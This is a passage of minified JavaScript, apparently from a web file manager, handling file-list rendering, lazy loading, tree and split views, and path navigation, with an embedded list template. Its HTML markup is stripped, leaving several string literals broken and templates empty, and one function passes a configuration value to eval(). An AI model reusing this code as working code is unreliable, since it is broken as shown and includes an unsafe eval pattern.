n=i.outerWidth()+$sizeInt(i.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=i.outerHeight()+$sizeInt(i.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;t.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),i=e.last(),t=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(t>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=i.outerHeight()+$sizeInt(i.css("margin-bottom")),l=s+o-r;if(l>i.offset().top){var c=l-i.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+t;u>a&&(u=a),u-t>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(t+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(t+1,u)}}},loadMoreSet=function(e,i){var t=makeHtml(G.json_data,e,i),a=$(t);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,i,t){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!t||t>=o.length-1)&&(t=o.length-1);for(var s=i;t>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,i){if("string"==$.type(e))var t=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var t=e;e=ui.fileLight.path(t)}if(1==t.length){var a=t.find(".children_more"),n=t.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;t.addClass("loading_children"),pathGet(e,function(e){t.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof i&&i(e)})}},htmlListAction=function(e,i,t){if(""==i)return i=''+LNG.path_null+"
";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&t?i+=''+'
'+'
'+'
'+'
'+LNG.file_load_all+" "+"
"+"
":"list_split"==G.user_config.list_type&&(i+=''+'
'+'
'+'
'+LNG.file_load_all+"(to list) "+"
"+"
")}return i},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,i){var t=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==t.length)return"function"==typeof i&&i(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof i&&i(),void 0;var n=t.parent().parent();pathSplitCreate(e,i,n)},pathSplitCreate=function(e,i,t){pathGet(e,function(a){if("not_exists"==a.path_read_write)return i(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),t)if(t.nextAll(".split_box").length>0){var o=t.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='',$(n).insertAfter(t).data("jsonData",a);else n='',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof i&&i()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),i=beforeListOpenArr,t=ui.fileLight.path(e,"data-path-children");beforeListOpen[t]=!1;for(var a=[t];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];i[o]!==void 0?i=i[o]:i[o]={}}})}else if("list_split"==G.user_config.list_type){var i=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(i[e]={},i=i[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,i){$.each(e,function(e,t){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(t).length?f5AfterReload(t,i):f5AfterReloadFinished(i)})}),f5AfterReloadFinished(i)},f5AfterReloadFinished=function(e){for(var i in beforeListOpen)if(beforeListOpen[i]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,i,t){if(void 0==e&&(e=!0),void 0==i&&(i=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var i=e.folderlist,t=e.filelist;return i="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?i.sort(sortBy("name",G.user_config.list_sort_order)):i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),t=t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=i,e.filelist=t,e},pathGet=function(e,i,t){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof t&&t(),!1;var a=jsonDataSort(e.data);"function"==typeof i&&i(a)},error:function(e,i,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,i,a),"function"==typeof t&&t()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var i in e)if("filelist"==i||"folderlist"==i)for(var t=0;e[i].length>t;t++){var a=e[i][t];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")
}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up=' ',down=' ';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var i in G.self_share)if(core.pathClear(G.self_share[i].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var i=G.fav_list;for(var t in i)if(core.pathClear(t)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var i=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(i=core.icon("recycle")),$(".menuRecycleButton .ico").html(i)}})},pathTypeChange=function(e){if(e.info){var i=e.info,t=i.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");i.can_upload=!0,(void 0!=a&&"writeable"!=a||t==G.KOD_GROUP_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_USER_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_GROUP_PATH&&"guest"==i.role&&1!=G.is_root||t==G.KOD_USER_FAV||t==G.KOD_USER_RECYCLE||t==G.KOD_GROUP_ROOT_ALL||t==G.KOD_GROUP_ROOT_SELF)&&(i.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];t==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(t)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),i.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var i=e.info,t=e.path_read_write,a=i.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(i.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(o),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=i.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==i.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}"not_exists"==t&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),1==G.is_root&&i.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n\n
\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{list.name}}\n {{/if}}\n \n
\n
\n\n\n{{else if type=='list_folder'}}\n\n
\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if list.isParent&&list.is_readable}} {{/if}}\n \n
\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{list.name}}\n {{/if}}\n \n
\n
{{LNG.folder}}
\n
\n
{{list.mtime}}
\n
\n
\n{{if list.isParent&&list.is_readable}}\n
\n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n\n
\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{list.name}}\n {{/if}}\n \n
\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
\n
\n\n\n{{else if type=='icon_file'}}\n\n {{if window.inArray(core.filetype['image'],list.ext)}}\n
\n {{if window.G.sid}}\n
\n {{else}}\n
\n {{/if}}\n
\n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
\n {{else if list.content.search('ui.path.list') == 0}}\n
\n {{list.icon |core.icon}}\n
\n {{else}}\n
{{\"folder\" |core.icon}}
\n {{/if}}\n
{{'app_link' |core.icon}}
\n {{else}}\n
\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
\n {{/if}}\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
\n
\n\n\n{{else if type=='list_file'}}\n\n
\n
\n {{if window.inArray(core.filetype['image'],list.ext)}}\n
\n {{if window.G.sid}}\n
\n {{else}}\n
\n {{/if}}\n
\n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
\n {{else if list.content.search('ui.path.list') == 0}}\n
\n {{list.icon |core.icon}}\n
\n {{else}}\n
{{\"folder\" |core.iconSmall}}
\n {{/if}}\n
{{'app_link' |core.icon}}
\n {{else}}\n
\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
\n {{/if}}\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
\n
{{list.ext |window.htmlEncode}} {{LNG.file}}
\n
{{list.size |core.fileSize}}
\n
{{list.mtime}}
\n
\n
\n\n\n{{else if type=='list_split_file'}}\n\n
\n {{if window.inArray(core.filetype['image'],list.ext)}}\n
\n {{if window.G.sid}}\n
\n {{else}}\n
\n {{/if}}\n
\n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
\n {{else if list.content.search('ui.path.list') == 0}}\n
\n {{list.icon |core.icon}}\n
\n {{else}}\n
{{\"folder\" |core.iconSmall}}
\n {{/if}}\n
{{'app_link' |core.icon}}
\n {{else}}\n
\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
\n {{/if}}\n\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
\n
\n{{/if}}\n\n"),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var i=e("../../common/pathOperate"),t=e("../../common/pathOpen"),a=void 0;ui.pathOpen=t;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,i,t,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=i&&""!=i&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof t&&t()})}},s=function(){var e=[],i=60,t=0,a=function(a){var n=e.length-1;return n==t&&e[n]==a?r():(t!=n&&(e=e.slice(0,t+1)),e[e.length-1]!=a&&e.push(a),e.length>=i&&(e=e.slice(1)),t=e.length-1,r(),void 0)},n=function(){e.length-1>=t+1&&(o(e[++t],"","",!0),r())},s=function(){t-1>=0&&(o(e[--t],"","",!0),r())},r=function(){var i="disable",a=e.length-1;$("#history_next").addClass(i),$("#history_back").addClass(i),(0!=t||0!=a)&&(t>0&&a>=t&&$("#history_back").removeClass(i),t>=0&&t!=a&&$("#history_next").removeClass(i))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var i=0;e.length>i;i++)e[i]=trim(e[i],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var i=trim(ui.fileLight.path($(this)),"/");i&&-1!=$.inArray(i,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var i=[];ui.fileLight.fileListAll().each(function(){var t=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));t&&e==t.substring(0,e.length).toLowerCase()&&i.push(a)}),a={key:e,path:G.this_path,index:0,list:i}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(i){var t=ui.fileLight.name($(this));-1!=t.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(i).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,i){var t=G.this_path+e;return void 0==i&&(t+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(t)+'"]').length?!0:!1},p=function(e,i){var t,a=0,n="."+i;if((void 0==i||""==i)&&(n=""),!d(e+n,i))return e+n;for(t=e+"(0)"+n;d(t,i);)a++,t=e+"("+a+")"+n;return t},u=function(e,t){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==t?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==i.strSort(r[a][l],d[l]))break}else if(-1!=i.strSort(r[a][l],d[l]))break;return a+n-1},f=function(t,a,n){ui.fileLight.clear();var o=u(a,t),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:t,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=t&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==t?i.newFolder(a+e,m):i.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",t=ui.fileLight.fileListSelect(),a=ui.fileLight.name(t),o=core.pathFather(ui.fileLight.path(t)),s=ui.fileLight.type(t);if(1==t.length&&n()){if(t.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l=" ";"icon"==G.user_config.list_type&&(l="",t.css({height:t.height()})),$(t).addClass("file_icon_edit").find(".title").html(""+l+"
");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,i.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(t).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},v=function(e){var i={},t=[];e.sort(function(e,i){return e.path==i.path?0:e.path>i.path?1:-1});for(var a=function(e){for(var t=e;""!=e;){if(i[e]!==void 0)return 1==i[e]?!0:t==e?(i[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";i[o]||a(o)||(i[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||t.push(e[n])}return t},_=function(e){if(e){var i=[];return 0==ui.fileLight.fileListSelect().length?i:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),t="folder"==ui.fileLight.type($(this))?"folder":"file";i.push({path:e,type:t})}),v(i))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var t=ui.fileLight.fileListSelect(),a=ui.fileLight.path(t),n=ui.fileLight.type(t);return{path:a,type:n}},g=function(e,i){for(var t in G.json_data)if("filelist"==t||"folderlist"==t)for(var a=0;G.json_data[t].length>a;a++)if(G.json_data[t][a][e]==i)return G.json_data[t][a]};return{makeParam:_,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)i.appEdit(0,0,"user_add");else{var t=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(t));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),i.appEdit(a)}},appList:function(){i.appList(_().path)},appInstall:function(){i.appInstall(_().path)},openEditor:function(){t.openEditor(_().path)},openWindow:function(){var e=_();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(t.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return t.open(e),void 0;if(void 0!=e)return t.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var i=_(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,i.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==i.type){var n=a.attr("data-app");i.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=i.type)&&t.open(i.path,i.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var i=ui.fileLight.type($(this));if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var t=ui.fileLight.path($(this)),a=core.path2url(t,!1);e.push({url:a,name:core.pathThis(t),ext:i})}}),t.play(e)}},pathOperate:i,share:function(){i.share(_())},setBackground:function(){var e=core.path2url(_().path);ShareData.frameTop("",function(i){i.ui.setWall(e)}),ui.setWall(e),i.setBackground(e)},createLink:function(e){var t=_(),a=ui.fileLight.fileListSelect().last();t.name=trim(a.find(".filename").text()),i.createLink(t.path,t.name,t.type,e,m)},createProject:function(){i.createProject(_().path,m)},download:function(){var e=_(!0);1==e.length&&"file"==e[0].type?t.download(_().path):i.zipDownload(e)},shareEdit:function(){var e=g("path",_().path);try{var t=G.json_data.share_list[e.sid];i.shareBox(t)}catch(a){}},shareOpenWindow:function(){var e=g("path",_().path),i=e.type;"folder"==e.type&&(i=1==e.code_read?"code_read":"folder");var t="./index.php?share/"+i+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(t)},shareOpenPath:function(){var e=_(),i=g("path",e.path);if(!i||!G.json_data.share_list)return t.open(e.path,e.type),void 0;var a=G.json_data.share_list[i.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(_().path)},explorerNew:function(){window.open("index.php?/explorer&path="+_().path)},openProject:function(){core.explorerCode(_().path)},search:function(){core.search("",_().path)},fav:function(){var e=_(),t=ui.fileLight.fileListSelect().last();e.name=trim(t.find(".filename").text()),i.fav(e)},recycleClear:function(){i.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,t){if(n()){var 